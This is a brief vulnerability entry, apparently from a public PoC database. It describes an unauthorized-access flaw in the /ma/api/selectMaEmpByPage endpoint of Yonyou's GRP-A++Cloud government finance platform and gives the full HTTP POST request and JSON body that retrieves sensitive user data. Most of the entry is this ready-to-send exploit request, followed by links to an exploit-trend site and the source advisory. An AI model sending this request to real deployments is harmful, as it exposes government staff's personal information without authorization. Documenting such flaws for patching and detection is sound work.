用友政务 GRP-A++Cloud政府财务云 /ma/api/selectMaEmpByPage 未授权访问漏洞

2024-05-21 用友政务GRP-A++Cloud PoC Public

Description

用友政务 GRP-A++Cloud政府财务云 /ma/api/selectMaEmpByPage 未授权访问漏洞,泄漏用户敏感信息

PoC

POST /ma/api/selectMaEmpByPage HTTP/1.1
Accept-Encoding: gzip
Connection: close
Content-Length: 70
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

{"rgCode":"","setYear":"2024","agencyCode":"","orgCode":"","query":""}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/0757efc4-0260-4faf-8223-99b19f19029a

Related Vulnerabilities